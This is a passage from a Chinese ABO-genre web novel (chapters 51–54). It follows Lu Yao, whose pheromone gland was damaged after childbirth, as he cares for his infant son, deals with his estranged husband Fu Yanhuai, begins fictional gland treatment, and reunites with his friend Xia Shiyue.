尽管明白婴幼儿时期缺乏安全感可能造成一定的心理影响, 但没有人敢给年年开出效用更强的药剂。傅晏淮是s级, 所有a等级以上的a和o都会被登记入特别信息库。如果为了现在让年年安静而影响他腺体的等级, 没有人能负得起这个责任,所以不如选择不用药。 这是鹿遥昨晚了解到的全部信息。 育婴师的犯难和吞吞吐吐让鹿遥难以忘却,年年睡着后脸上还挂着泪珠, 鹿遥看着他, 没有丝毫睡意。 他本应照顾好年年, 却在年年出生后最需要他的时间段离开,更要命的是,鹿遥现在也没有办法弥补。 他的腺体已经坏了。 鹿遥终于明白为什么在医院里他要戴着带有傅晏淮信息素的吸氧面罩, 又为什么自己的腺体有隐隐刺痛感, 大约是因为抽取了腺/□□给年年。但他很快就离开了,所以年年自然也就没有信息素可以用,只能靠人工安抚剂磕磕绊绊长大。 “我应该去医院的。”鹿遥漫无边际地喃喃,“就算很贵…也不应该什么都不做。” 或许是抑制剂使用了太多,这样看来信息素不稳定和崩溃都没关系,至少还可以帮到年年。但是现在… 鹿遥已经记不清是第几次抬手去按腺体, 无论他怎么用力,腺体都像是从未存在过一样,什么反应都没有,只是一片沉寂。 年年昨晚折腾了太久,到现在还没有醒,他的小脸睡得红扑扑的,睡得很香。 除了症状发作,其他时间年年都显得很正常。 鹿遥不知道这是否是真的正常,年年长大这些负面影响就会全部消失,鹿遥也不知道长大是什么时候。 傅晏淮到的时间很早,育婴师很有眼色地去了车里,鹿遥走出卧室时傅晏淮坐在沙发上等着。 沙发和傅晏淮相比显得很小,他坐在上面腿有点伸不开,不过傅晏淮看着很有耐心,并没有什么不情愿的神色。 傅晏淮看鹿遥关上卧室门,他不动声色收回目光,“年年这两天听话吗?” “我不明白你的意思。”鹿遥关上门后就站在门口,他看着傅晏淮的眼神很陌生,好像从来没有真正认识过眼前的人,“你很笃定年年会不听话吗。” 傅晏淮微微皱眉,“你多心了。” 鹿遥含恨抬眼,“我倒希望是我多心,至少这样年年就不是真的不舒服。” 傅晏淮不自然地停顿,“你…是年年哭得很厉害吗。” “傅晏淮,原来你也知道自己不敢告诉我。”鹿遥咬牙道,“你不喜欢我,我接受。但你至少要对年年负责任,我不明白,看着孩子难受你很舒服吗?” “鹿遥,你听我说,医生已经在想其他办法来缓解年年的不适。而且,相比刚出生的第一个月,年年的情况已经有了很大进展。” “我不想听这些!”鹿遥指尖紧紧抠着手心,“我只知道年年在我肚子里的时候是很健康的!每一次孕检都没有问题,许医生说他发育得很好,也很活泼,可是,可是…” 可是年年出生后却不是这样,鹿遥已经分辨不清这到底是谁的责任,他无数次自责如果当初再小心一些就好了。如果他没有摔倒,年年的情况会不会比现在要好。 鹿遥一夜没睡,现在他没有力气和傅晏淮吵架,他最终难过地垂下眼,“这个孩子,当初是你同意生下来,后来,也是你想要抚养的。” 鹿遥有点头晕,他靠在墙上用力掐掌心,傅晏淮察觉到他的不对劲两步走到鹿遥身前,“小鹿,你哪里不舒服?” 鹿遥抗拒别开头,他的声音很小,“别碰我。” 傅晏淮伸出的手僵硬,“是因为年年不健康吗,所以你看到他也不高兴。” 鹿遥嗤笑一声,“年年无论什么样都是我的孩子,我不高兴,只是因为他的另一个父亲是你。” 和过去包含爱意的眼神不同,鹿遥如今眼中什么情绪都没有,“我宁可当初没有爱上你。” 他可能会独自从鹿家搬出来,慢慢攒一点钱,开一家自己的甜品店,在某个闲下来的时刻无意瞥见傅晏淮的新闻,他会过上和傅晏淮毫无交集的人生。 傅晏淮脸上闪过迷茫和不可置信,傅晏淮从未如此外露过这么复杂的情绪,他难堪又不甘地开口,“年年的情况我一定会想办法解决…” “你能想出什么办法。”鹿遥不耐烦再听这些,“如果你有办法,年年早就不会这样了。周日按时把年年送回来,我和你没什么好说的。” 鹿遥推开傅晏淮,傅晏淮顺着他的力道后退一步,鹿遥侧身走到客厅,他甚至不想碰到他。 傅晏淮在原地沉默良久,他忽然低声开口,“对不起。” “伤害你不是我的本意,对于我做的事,我很抱歉。” 鹿遥眼眶蓦地泛红,他抬头反问道,“现在说这些有什么用吗?” 一句对不起抹不平所有曾经的痛苦,更何况鹿遥现在仍能感受到延绵持续的余痛。 傅晏淮无法再回答,他推开卧室门走了进去。 不管怎么样,年年一定要回到医院接受检测,医生会开出适合他的安抚剂用量。 年年还在睡着,傅晏淮俯下身看了看他,然后伸手把他抱起来。 这个动作把年年弄醒了,他迷迷糊糊地睁开眼睛,看见傅晏淮离他很近还皱眉,年年哇的一声哭得很响亮。 “别哭。” 傅晏淮头疼地又换了方向想抱他起来,但年年很不给面子,他一脚蹬在傅晏淮脸上,扭来扭去就是不让他抱。 年年和傅晏淮的相处时间其实不是很多,时隔几天没见,年年冷不丁见到想不起来傅晏淮是谁也是很正常。 “不会抱就放下。”鹿遥在门口冷冷道,“你出去吧,我抱他上车。” 多余的话鹿遥一句也不想说,傅晏淮站到一旁,看着鹿遥漠然从他身边走过。 傅晏淮不明白事情为什么会走到今天这个地步,尽管来的时候已经有心理准备接受鹿遥的冷漠,可真的面对这个场景,傅晏淮还是深深地被刺痛了。 “其实在那天刚见到你的时候,我就想问。”傅晏淮艰涩道,“你的信息素,为什么不见了。” 傅晏淮已经隐隐预感到鹿遥的身体状况不会太好,但他又矛盾地自欺欺人,希望不是糟糕到无可挽回的地步。 “因为生产后信息素不稳定。”鹿遥的声音遥远又陌生,他说得平静,傅晏淮听着内心却剧烈震颤,“我没有钱住隔绝效果太好的酒店,以免打扰到别人,我打了几支抑制剂。” 打了几支来着,鹿遥不记得了。 “腺体已经坏了,当然就没有信息素。” 傅晏淮出来时脸色很难看,他隐约明白了鹿遥不是在对他生气,也并不是因为年年的身体而感到愤怒。或许,是比这些更加深刻的情绪。 鹿遥把年年交给育婴师,育婴师察觉到了两人异样的气氛,她接过孩子专心致志地哄。 傅晏淮犹豫看向鹿遥,他想让鹿遥去医院看一看腺体,但他好像失去了开口的资格。 鹿遥只看着年年,年年被鹿遥抱出来,又被放进安全座椅里坐着。车窗全部摇下来,年年的眼睛一直黏在鹿遥身上,他还以为这是鹿遥在和他玩,年年咿咿呀呀地对着鹿遥笑。 傅晏淮想说些什么,但他觉得鹿遥可能不愿意听他说话。 小心试探的人不再是鹿遥,但鹿遥也不稀罕傅晏淮的低姿态。 司机在前面低声问是不是可以走了,鹿遥退到一边,傅晏淮抿紧唇嗯了声。 车缓缓开出去,鹿遥对年年挥手,年年到现在还以为是在玩,他笑得很欢,直到车拐了个弯,再也看不见鹿遥一直站着的地方。 年年愣住了,他费力扒住一旁的窗户想往外看,但是育婴师很快道,“把窗户关上吧,小少爷想往外爬,这样很危险。” 尽管有安全座椅,但还是小心为上。 育婴师哄着年年放下手,车窗按部就班地升上去,车玻璃遮挡了外部的环境。 年年回头看车厢,有育婴师,傅晏淮,没有鹿遥。 年年终于意识到他已经不在鹿遥身边,他自己处在一个完全陌生的环境,这几个人他有印象,但这有什么用,年年要鹿遥抱。 育婴师眼睁睁看着年年眉毛鼻子眼睛全都渐渐变红,她赶忙哄道,“看这里,看这个,我们玩这个小玩具好不好呀?” 育婴师的话在年年猛烈爆发的哭声中淹没,傅晏淮皱眉放出了点信息素,年年的哭声稍有迟疑,但他紧接着就更委屈了。 他要的不是这个! 年年的哭声越来越大,育婴师实在哄不住,傅晏淮叹了口气,“给我。” 年年被提溜着放到傅晏淮怀里,年年抽抽搭搭和傅晏淮对视。 “你半夜哭会把鹿遥吵醒,让他跟着担心,所以我们要用一点安抚剂,等你稳定就会回来了,不许再哭了。” 傅总很有耐心,但年年一个字也听不懂,他乱蹬乱动哇哇大哭。 这回连小鹿玩具都不好用了,年年不能接受鹿遥忽然消失不见,车里的人他一个都不要。 “只离开这么一小会,就这么想他吗。” 傅晏淮忍受心底的钝痛,鹿遥对年年的确温柔又耐心。 以前,鹿遥也是这样对他的。 “调头回去吧。” 第52章 第 52 章 京城 车子在视线中消失后鹿遥仍然站在路边没有回去, 年年离他越来越远,鹿遥心里好像空了一块。 这条小巷已经没有车辆再经过,鹿遥在原地又站了一会, 他安慰自己年年周日就回来了,没有离开他太久。 鹿遥回家后抱着奶油无意识撸他的毛, 手机上关于腺体创伤修复的方法很多也很杂,医院推荐一个接一个冒出来, 鹿遥抿紧唇。 他不死心地又去按了按腺体, 除了微微鼓起一块, 那里和beta并没有任何差别。 “抑制剂注射过量的后果。” 鹿遥仔细翻阅每一个跳出来的词条, 但并没有接收到太有效的信息。 鹿遥有些烦心, 事已至此再多埋怨也是无用, 如今最要紧的是让年年变回一个健康的孩子。 年年被抱着回来时还在嚎啕大哭,鹿遥还疑心自己是不是幻听了,他蹙眉看向阳台, 竟然真的看到了傅晏淮的车。 鹿遥瞬间站起身去开门, 傅晏淮猝不及防与他对视。 鹿遥只看了他一眼就收回目光, 他全部心思都放在孩子身上。看见年年哭得上气不接下气,鹿遥有点心疼了,“怎么回事?” 鹿遥把年年接过来抱到怀里, 他语气很不悦, “这就是你说的要让孩子回去住到周日?” “我没想到他会哭得这么厉害。”傅晏淮低声道,“他很依赖你。” 鹿遥提醒他,“这是理所当然的,因为年年是我的孩子。” 年年确实逐渐没有再哭,但他这次却变得很警觉,一直搂着鹿遥不愿意松手。 “我知道。”傅晏淮不知心中该作何滋味, “他最需要的人是你。” “你愿意…” 鹿遥抱着年年,两人中间隔着茶几,傅晏淮望过去,这几步之遥却仿佛永远无法跨越的沟壑。 年年乖乖趴在鹿遥怀里,鹿遥轻拍他后背,“你想说什么。” 这一幕看起来特别美好,只是傅晏淮显得格格不入。 “你愿意回到京城吗。” 这算是个进步,专断独裁的alpha至少学会了低头询问鹿遥的意愿。 鹿遥听见这话不由看了眼傅晏淮。 最终他还是直白道,“如果是为了你,那我不愿意,如果是治疗腺体照顾年年,我不反对。” 不反对,那看来回到京城也不是鹿遥的首选。 “我会回去询问医院初步的方案,不过最后还是需要你到医院做检查。” 傅晏淮已经认清了鹿遥的态度,鹿遥对他明白的抵触傅晏淮已有预感,不过他不免还是有些失落。 “不过这些都不是一定要你做,我尊重你的想法。” “我会视年年的状态来决定回不回去。”鹿遥没有丝毫触动,“今天你先不要带年年回去了,我不放心。” 鹿遥语气很坚决,傅晏淮是没有丝毫迟疑就退让的那一方,“好。” 傅晏淮独自回到京城,对傅晏淮来说,他是没有休息日的,每一天都会正常工作。 但现在,比工作更重要的事出现在了他的人生里。 鹿遥十分坚定地拒绝了育婴师涂一点点安抚剂的建议,这次他做好了心理准备,在这一次年年夜半啼哭时镇定许多。 年年的脸肉嘟嘟的,他的脸挤在鹿遥身上变成肉饼,哭得鹿遥肩膀上的衣服湿了一大片,鹿遥能感觉到年年是真的很不舒服。 第二天夜晚,依然也是这样。 没有安抚剂,就必须等年年的焦躁情绪自然消解。 不同于离开京城时被冲动驱使,鹿遥这次是经过深思熟虑才决定带年年回去。 鹿遥辞去了现在的工作,傅晏淮这次竟然又跟着车来一起接他和年年。 傅晏淮尽可能地增加和鹿遥在一起相处的时间,但鹿遥没有体会到他的心思,他只觉得傅晏淮折腾这一趟很没必要。 全程鹿遥都哄年年玩,没有给傅晏淮一个眼神。 直到车停进傅家老宅,鹿遥才终于停住,他沉默着望向这栋奢侈华丽的房子。 “我的确需要一点时间来选租房的地点,年年由文阿姨照顾也很好。” 傅晏淮深深望向他,“你留在这里吧,我不会来打扰你和孩子的。” 鹿遥都已经去解开年年安全座椅的带子,他听见傅晏淮的话眼睫颤了颤。 “不要叫妈妈文阿姨,她是真的把你当作自己的孩子。不要担心,你的腺体会好的。” 这句话听起来像是承诺,鹿遥把年年抱紧,他不愿意深想傅晏淮的话,“能不能治好,要听医生怎么说。” 傅晏淮凭什么说能治好。 鹿遥想了想还是道,“我不打扰她了,你送年年进去吧。” 尽管做错事的人不是鹿遥,但鹿遥仍然不知道该以什么样的姿态去面对文筝。 他也是真心地,把文筝视为自己的母亲。文筝给了他梦寐以求的母爱,过年时阖家团圆的场景让鹿遥幸福到想要流泪。可那终归都只是泡影。 傅晏淮的语气平稳又耐心,“她是你的妈妈,孩子回家当然要看看她。” 鹿遥鼻尖蓦地一酸,文筝和他之间的感情,和傅晏淮的完全不同。文筝什么也没有做错,相反,她对鹿遥尽心尽力,极尽疼爱。 他只是觉得很委屈。 “我会尽快找到合适的住处搬出去,就这样吧。” 鹿遥不想和他说话了,傅晏淮垂下眼,便也什么都没有说。鹿遥抱着年年下车,怕他不方便,傅晏淮下意识伸手扶了他一下。 鹿遥像避开什么洪水猛兽一般猛地躲开,傅晏淮微微凝滞。 “对不起,是我不好。” 鹿遥听见了,但他一步都没有停下。 年年察觉到鹿遥的沉默,他故意出声吸引鹿遥的注意力。 “乖,很快就到。”鹿遥亲了亲年年,“一定是坐车累了。” 鹿遥有些心不在焉,如果是在他和傅晏淮的婚姻初始时,傅晏淮能这样低头和他平等交流,那他一定会无比高兴和满足。 可是傅晏淮的尊重来得太晚了。 鹿遥不想让傅晏淮再次影响到自己,他停在小路上调整了一下呼吸,才又面色平常进去。 文筝把最后一支红玫瑰插好,她频频回头往门口的方向看。 直到门口响起女佣的声音,“鹿先生,我来抱小少爷吧。” 年年的抗议声紧跟着响起,文筝骤然站起身,匆匆走向鹿遥。 看到她,鹿遥刚刚压下的情绪再次翻涌,他咬了下舌尖让自己正常点,但文筝却红了眼圈先一步抱上他。 “我的孩子,瘦了这么多,真是受委屈了。” 鹿遥任凭眼泪宣泄流出,趁文筝看不见,鹿遥强忍哽咽道,“妈…妈妈。” 文筝紧紧抱住他,就像鹿遥看见在门口大哭的年年那样。 文筝不知道傅晏淮是用了什么借口把人给哄回来的,鹿遥回到家里她才算放心,有她亲自照看,总比鹿遥孤身一人在人生地不熟的地方要好。 文筝拉着鹿遥坐下,鹿遥除了眼圈有点红以外看不出什么异样。他情绪还未回归平静,鹿遥假借给年年整理衣领逃避文筝的视线。 文筝和鹿遥一见面就都哭了,年年显然没有见过这样的阵仗,他愣愣坐在沙发上任凭鹿遥摆弄,只是一会看着鹿遥,一会又转头去看文筝。 文筝被年年给逗笑了,“年年胆子还挺大的,其实他不怎么爱哭。” “嗯。”鹿遥不自在地转回去,“除了半夜惊醒,其他时间年年都不怎么哭。” 一提起这个文筝就有点糟心了,“真是作孽。” 文筝嫌弃道,“傅晏淮这两天去了医院,他自己捅出的篓子,我看他怎么补。” 傅晏淮已经去过医院了?鹿遥捏住年年肉肉的胳膊,怪不得他刚刚在车上提了这件事。 傅晏淮能做什么,最后还不是要他逐步听医嘱治疗,鹿遥没有接这句话。 文筝当然也知道傅晏淮做得离谱,她怕给鹿遥增加心理压力,当即缓下声对鹿遥道,“我只当你是我的孩子,你也只把我当作你妈妈,你和傅晏淮之间怎么样都不影响你留在这个家里。” 她怜爱地看着鹿遥,“我走的时候,你脸上还有点肉呢。” 鹿遥瘦得文筝都有点不忍心看,好不容易活泼了点的性格现在又变得沉默。 鹿遥掩饰道,“可能是这几个月没怎么好好吃饭,瘦一点也好,之前的衣服都能穿。” 文筝更心疼了,“给你做一百身衣服妈妈也不在乎,还至于省那点东西。” 两人都知道这不是因为鹿遥没有好好吃饭,而是刚生产三天就离开,大病一场太伤元气,到现在都还没有恢复。 “脸色也不好。”文筝拉着鹿遥左看右看,鹿遥有点不好意思了,“妈妈,我真的没事。” “你叫我一声妈妈,我也答应了,那我就得照顾好你。” 文筝斩钉截铁道,“你就住在这,我给你收拾出来一间新的房间,有阳台,又大又漂亮。旁边就是婴儿房,也可以让年年和你住在一起。” 鹿遥连忙推拒道,“不用了,我也想再找一个其他的工作,租一个附近的或许更方便些。” 文筝佯怒道,“家里有司机,不用考虑远近。你喜欢做什么就做什么,觉得身体吃不消就什么也不做,咱们家差不了你这一口饭。” 文筝提供了一条让人能完全安心的退路,鹿遥不敢接受,但他不想回来第一天就因为这件事让文筝伤心。 鹿遥乖乖点头,“知道了,妈妈。” 文筝重新露出笑脸,她关切轻声问鹿遥,“吃饭了吗?我煲了汤,我记得你从前怀年年的时候很喜欢喝,来。” 文筝喜滋滋地拉着鹿遥往餐厅走,鹿遥迟疑再三还是忍不住低声问道,“可是,我住在这里,那傅…” 如果要和傅晏淮生活在同一屋檐下,鹿遥宁可搬出去。 文筝随意道,“他有自己住的地方,来这干什么,别理他。” 第53章 第 53 章 诱导剂 “心肺发育都已经到了标准范围内。”医生仔细看了年年的体检报告, “听力和视力也是正常的。” 鹿遥松了一口气,重新把年年抱回怀里。年年刚刚被医生摆弄得有点不高兴了,他气哼哼地揪着鹿遥胸前的衣服撅嘴。 鹿遥把拉链往下拉了一点, 让年年抓在手里玩。 “然后我们要检查一下您的腺体。”再次见到鹿遥,许医生有点不自然, 但鹿遥并没有表现出什么,“您先把孩子放到床上。” 鹿遥犹豫一下, 把外套也脱了下来, 年年抓着拉链坐在薄外套上直勾勾看着鹿遥。 许医生低声道, “很快就好。” 没有必要和医生纠缠前尘往事, 鹿遥知道医生也要听傅晏淮的。 鹿遥昨天刚刚到京城, 今天一早傅晏淮就接他和年年来医院。他没有进到老宅里, 而是只在门口等着。 年年不太老实,傅晏淮就把年年抱到自己腿上,鹿遥依言把腺体露出来。 许医生在腺体上涂了一点凝胶, 随后用仪器在上面来来回回地扫描。 凝胶很凉, 鹿遥也忍不住跟着去看屏幕, 虽然他看不懂,但是他希望腺体里还能有一点腺体/液给年年用。 许医生慢慢皱紧眉,“情况不是很好。” 许医生委婉道, “可能比预想的还要糟糕一点。鹿先生, 除了抑制剂以外,您在产后一周内还服用了其他药物吗?” 鹿遥跟着沉闷下去,他呼出口气回忆道,“从医院离开的时候,我在发烧。在车上信息素开始不受控制地溢散,我怕引起混乱, 就提前下车住进酒店。那段时间的记忆我也记不太清楚了,当时不仅发烧,胃也不舒服,身上也很疼,乱七八糟的药吃了很多。” 傅晏淮听得心底一颤,他清楚鹿遥生产后离开身体会很虚弱,但他从没有设身处地地仔细去想过鹿遥可能面对的是什么。 短短几句话描绘不出当时真正的情况,傅晏淮不敢想鹿遥当时是怎么坚持过来的。 许医生为难地去瞟傅晏淮,“生产后的腺体不稳定,有一些药物是禁服的,也有可能药物某些成分和抑制剂产生冲突。在此之后,您的腺体还有其他不舒服吗?” 鹿遥不确定地道,“大约没有了,用过几支抑制剂后腺体就不再有反应,我就没有再管。” 这很显然是傅晏淮的责任,不过鹿遥根本就没有理会傅晏淮是什么反应,他担忧地问医生,“那,我的腺体还能恢复吗?” 腺体评测比许医生想的还要差,她没有正面回答,“我们会尽力。” 许医生接着翻其他的数值报告,“孩子状况很好。鹿先生,您要注意保证休息和三餐规律,身体虚弱也会影响腺体正常分泌腺体/液,我会先开一点补剂和诱导药物。诱导药物可以适当刺激您的腺体,过一周后来检查腺体是否出现反应。” 鹿遥为了年年什么都愿意做,他认真地挨条记下,“好,我会的。” 鹿遥满怀心事地站起身,傅晏淮走到他身前把年年交给鹿遥,“我去拿药,你先到车里等吧,年年有点困了。” 鹿遥低头看孩子,年年果然打了个哈欠,眼睛有点睁不开。 怕年年犯困哭闹起来着凉,鹿遥赶忙用外套遮住年年,不过他没有接傅晏淮的话,只是抱着年年直接离开。 鹿遥外套的衣角就这样不经意从傅晏淮手中抽出,傅晏淮没有抓住。 傅晏淮停在原地看着鹿遥离开,许医生小心问了他一句,“傅总?” 傅晏淮握了一下空荡荡的手心,他故作无事地转身对医生道,“没事,我和你去配药。” alpha抽取腺体/液要比omega困难很多,不同于omega腺体就长在皮肤下,alpha的腺体深埋于颈侧,藏匿于骨骼与经筋间,抽取的过程会更加痛苦。 不过真正让许医生担心的并不是这件事,s级的忍耐力是很好的。只是年年出生后的第一个月,由于没有鹿遥的信息素,只能用傅晏淮的信息素作为媒介使年年接受人工安抚剂,那一个月里傅晏淮就配合抽取了一些腺体/液。可腺体也需要恢复和稳定的时间,尤其是傅晏淮本身就患有信息素抵抗,许医生不知道这样频繁地提取腺体/液是否会造成永久性损伤。 傅晏淮本人对此好像并不太担心,他问过许医生,omega腺体损伤最好的治愈方案是什么。 许医生答出了标准答案,“已被完全标记过的omega很难再接受其他类信息素物质进入,这会让他们的身体产生排斥反应。如果想要更加温和地引导腺体一步步做出回应,需要标记方的腺体/液做配合诱导剂,等到腺体对外界的反应达到一定水平值,再配合其他药物共同治疗。” 傅晏淮毫不犹豫地同意了,不过他没有把这件事告诉鹿遥。 傅晏淮很确定鹿遥不会接受这个治疗方案,他大约已经很讨厌自己的信息素。许医生说…鹿遥总是把呼吸面罩摘下去。 鹿遥不知道傅晏淮在干什么,他回车里把年年哄睡,年年半躺在安全座椅里睡着了。 隔板放着,司机没什么声音,周围环境陡然安静下来,鹿遥蹙犹疑了眼时间。 “怎么去了这么久。”鹿遥蹙眉低声道,“年年一会醒来还要喝奶呢。” 已经过去二十多分钟了,拿什么药拿了这么长时间。 鹿遥其实是个很有耐心的人,但他一遇上和傅晏淮有关的事就心烦气躁,看见傅晏淮他浑身上下哪哪都难受。 鹿遥又等了一会傅晏淮才出现,但傅晏淮只是站在车窗外没有拉开门坐进来。 鹿遥降下车窗,“我要带年年回家休息了。” 听出鹿遥的不耐烦,傅晏淮弯腰把手上拎的纸袋递给他,“公司那边临时有事,你带年年回去吧,这是药。” 鹿遥瞬间冷下脸,他接过袋子没再开口说话。傅晏淮站在原地沉默注视车拐出去,他面色微微有点泛白,等到车彻底离开视线傅晏淮才抬手用手住压住颈侧。 提取腺体/液太过频繁,量也太多,这一次傅晏淮并没有像之前那一个月一样平稳。 助理很快开车停到傅晏淮身前,助理敏锐嗅出了老板状态不好的气息。 助理回头问他,“我们去…” 傅晏淮强行忽略不适,“去公司。” 下一次拿药的时间是三天后,傅晏淮要趁这几天把紧急的公事提前处理好,腾出时间和鹿遥去医院。 助理只好道,“好吧。” 年年到家后还是没醒,鹿遥轻手轻脚给他盖上小被子。 “看来是晚上睡不好,白天就爱犯困。” 鹿遥看着年年喃喃,“也不知道腺体什么时候能好。” 鹿遥想起刚刚傅晏淮给他的药,他站起身走出婴儿房,回到自己房间。 “诱导剂?” 一小瓶透明的液体静静躺在纸袋里,鹿遥把他拿出来,迟疑放到鼻尖闻了闻,什么味道也没有。 鹿遥有点失望,“看来现在还不可以直接用药。” 鹿遥按照说明把液体倒进小盒子里挥发,他静静等了一会,什么也没有发生。 这个东西消散的速度很快,差不多十分钟就都没有了。鹿遥碰了碰自己的腺体仔细感受了一下,腺体还是什么回应也没有。 鹿遥叹了口气,把那些东西都收了起来。 或许也是正常的,许医生说看他的情况来决定诱导剂的用量,要鹿遥不要着急。 理智上明白这不是一天就能治愈的,但情感上鹿遥还是不可避免地心情糟糕下来。回到京城,年年有了更专业的团队来照顾,鹿遥想要出去重新再找一份工作。 鹿遥想到了什么,心中有些忐忑。 他和夏时越已经很久没有联系了,不知道是否是受到他和傅晏淮离婚的影响。 自从离开京城,鹿遥就把自己的联系软件关闭了,直到前几天年年回来才重新打开。由于不知道自己是否会回到京城定居,鹿遥没有贸然打扰夏时越。 鹿遥思来想去还是决定去一次夏时越的店,他生产的时候生意已经变得很好,不知道现在怎么样了。 第54章 第 54 章 好盆友 夏时越的生意还好, 他的生活一如既往地没有什么要他操心的地方,只是越闲下来越有怅然若失的感觉。 顾和辰把一杯水放到夏时越手边,“天天愁眉苦脸的, 想什么呢?” 夏时越翻了个白眼,“要你管。” 顾和辰很习惯夏时越的脾气, 他在夏时越身旁坐下,“因为你的好朋友回来了, 但是没有找你?” 夏时越当即道, “小鹿肯定是有事, 我不是因为他没有联系我而不高兴, 我只是觉得…” “觉得什么?” 夏时越不清楚傅家内部究竟出了什么事, 他叹了口气, “这次他回来,也不知道是不是一件好事。” 虽然夏时越不太喜欢傅晏淮,觉得他不是个称职的alpha, 但夏时越能看出来鹿遥是真的很喜欢他, 鹿遥每次看向傅晏淮时眼底流出的情愫藏都藏不住。 顾和辰持相反意见, “傅晏淮这个人太强势,其实就算是什么事都没发生,按照他们两个原本的模式继续相处下去, 也是一定会出问题的。现在这样, 或许还会有转机。” 夏时越上上下下看了顾和辰两眼,“行,你离我远点。” 顾和辰愕然,“我怎么了?” 夏时越理直气壮道,“你现在这样看着很会权衡利弊,有点像傅晏淮, 我雷这种类型。” 顾和辰无语地笑了,“行。” 鹿遥走进休息区的时候就看到夏时越和顾和辰在一起坐着,鹿遥稍稍愣了一下,顾和辰不像是能在后厨做长久工作的人,他的气质看着不像普通人,没想到现在竟然还在。 夏时越还在和顾和辰斗嘴,他听见开门声抬头,然后整个人都定格在原地。 鹿遥走上前鼓起勇气道,“时越,我…” “你真的回来了。”夏时越震惊地喃喃,“你走了有多久?我都不知道你是在什么离开的…” 鹿遥听了很愧疚,“其实也没有几个月。” 顾和辰走出休息室给两人留出空间,夏时越绕过桌子上前狠狠抱了鹿遥一下,“你走就走,为什么还不告诉我。算了,我知道你一定是不得已的,小鹿,你不知道我有多担心你。” 鹿遥眼眶发热,他歉疚又欣喜地看着夏时越,“当时太过仓促,我自己状态也是迷迷糊糊的,抱歉,让你担心了。” “这说的是什么话。”夏时越拉着鹿遥当场去隔间,“你走之后店里研发出了很多新菜,来尝尝。” 这是鹿遥第一次感受店里的VIP包厢,还是老板亲自请客。夏时越点菜点得很豪迈,把招牌都来了一份尝尝。 鹿遥赶忙开口,“别点太多了,我们两个吃不完。” 夏时越当即道,“吃不完就当我晚上的员工餐,而且你不要着急,我们坐在这里慢慢吃,吃一下午,一定不会剩。” 夏时越大刀阔斧把餐具往旁边一推,拍桌前倾盯着鹿遥,鹿遥愣了一下。 “现在,你来和我具体说说,当时究竟是为什么,这么突然离开京城了?” 夏时越的准备的确很有先见之明,因为鹿遥花了很长时间才把几个月前的一切艰难地一点一点拼凑出来。 大脑为了保护自己,会下意识让人遗忘那些痛苦到刻骨铭心的事。鹿遥从未刻意提起过,他回到京城也没有什么不开心,他以为自己已经完全释然了。 但其实并没有,过往一切历历在目,清晰得仿佛就发生在昨日。 “我们的婚姻并非始于两情相悦。”鹿遥最终垂下眼看着桌面低声开口,“或许这只能算是合约的终止。” 但傅晏淮可以选择其他的方式来让他离开,鹿遥想,像这个样子实在太惨烈了。 “婚姻和商业合同怎么能混为一谈。”夏时越看着很恼火,“难道傅晏淮的公司能和他过日子吗?” 话刚说出口夏时越又忽然反应过来,“靠,他好像还真能和公司过日子。” 夏时越的种种情绪最终化为匪夷所思,“傅晏淮也就一般啊,你怎么会喜欢他的。” 是傅晏淮的外形和优渥条件迷惑了鹿遥的心智,真是个不要脸的alpha。 鹿遥失笑,“或许是…我也说不清。不过这些都不重要了,现在最要紧的是让腺体恢复,不然年年睡不安稳,我看着也难过。” 夏时越瞪大眼睛,“凭什么不重要了,这怎么能不重要。他,傅晏淮都这么不做人了,你等着,我肯定帮你出这口气。” “哎。”京城这些叫得上名字的家族互相之间都是有联系的,鹿遥赶忙拦住他,“别冲动,这是我们之间的事,我会看着处理的。” 夏时越恨铁不成钢道,“你就是太容易心软了。” 鹿遥知道自己不是心软,他只是太想拥有一点属于自己的温暖。 不过现在他也不需要了,或许人的一生能得到的东西就是有限的,这些不属于他,鹿遥也就不再强求。 鹿遥哄他道,“我不理会他,他也很忙没时间和我产生交集,这样很好。” 鹿遥现在对傅晏淮都要求不多,只要他对年年上心、负责,好好抚养年年长大成人就可以。他们两人之间的矛盾不要牵扯到孩子,年年出生就生这么大的病已经很可怜了。 夏时越担忧道,“那你呢,打算怎么办?” “我…”鹿遥有些晃神,“我还是先攒一点钱,然后开一家甜品店吧。” 不需要太大,能容纳得下他自己和奶油就可以。 夏时越好像看出了什么,他试探着道,“其实,你有没有想过回去京城大学继续读书。” 鹿遥怔住,“什么?” 夏时越觉得这样挺好的,他努力劝说鹿遥道,“读书也不耽误你做甜品呀,你看,我的店到现在也没有招新的甜品师。你回来的话,不需要每天都来上班,轮值就可以。而且店里也分早班和晚班,可以看你的课程来安排。” 读书是鹿遥从没有考虑过的选项,他有些犹豫,“可是京城大学学费很贵,而且…” 而且他已经不再是当初刚刚考上大学的年轻孩子,鹿遥早就忘记了自己曾经怀揣过什么梦想和憧憬,他不知道继续读书是否还有意义。 “学费当然要傅晏淮来出,或者让你家里出,这是他们该做的。”夏时越又有点生气,但他忍住没有多说。 夏时越深深吸了口气,他看着鹿遥低声开口,“小鹿,你真的应该把大学读完。” “毕业后再继续开甜品店也可以,继续做甜品师也很好。你原本就应该拥有大学生活和这张毕业证书,不应该因为其他的东西而放弃这些。” 鹿遥盯着餐盘出神,良久才道,“好,我会考虑的。” 他已经退学这么多年,又经历了这么多,鹿遥不知道自己是不是还该继续读书。不过夏时越的话让鹿遥忍不住反复思考,大学那两年虽然又要兼职打工又要上课,但其实是很快乐的。 看鹿遥听进去夏时越就放下心,“年年这两天怎么样,有没有乖乖听你的话?” 鹿遥思绪收回,提起年年他的脸上满是温柔,“年年是很好的宝宝,其实他不爱闹人的,只是他总是不舒服。” 鹿遥想起了什么,他提起些兴致道,“对了,我还捡到了一只小狗,我给它起名叫奶油。白色的,很可爱。” 夏时越忍不住两眼放光,“我最喜欢修勾儿了!” 夏时越心念一转,忽然握住鹿遥的手,“刚好你回来我还没有见见年年,今晚我和你玩,晚上我们一起睡。” 鹿遥很动心,“好啊。” 过了一会鹿遥又有点不好意思地道,“不知道什么时候我才能买一间自己的房子,到时候你随时想来都没问题的。” 夏时越很感动,他想送给鹿遥一套,但鹿遥估计会拒绝。 “肯定会有那一天的。”夏时越给鹿遥打气,“到时候我就不走了,天天赖在你家。” 和好朋友一起总是开心的,夏时越拉上鹿遥一脚油门就回了傅家老宅。 自从鹿遥搬回来,文筝的日常就从烹茶插花变成为宠物美容美发。 “坐,奶油,坐。” 文筝手里拿了一粒狗粮,奶油尾巴摇得飞快仰头看文筝的手,思考两秒后听话地坐下。 奶油不仅会坐还会握手,文筝很欣慰,“吃吧,好聪明。” 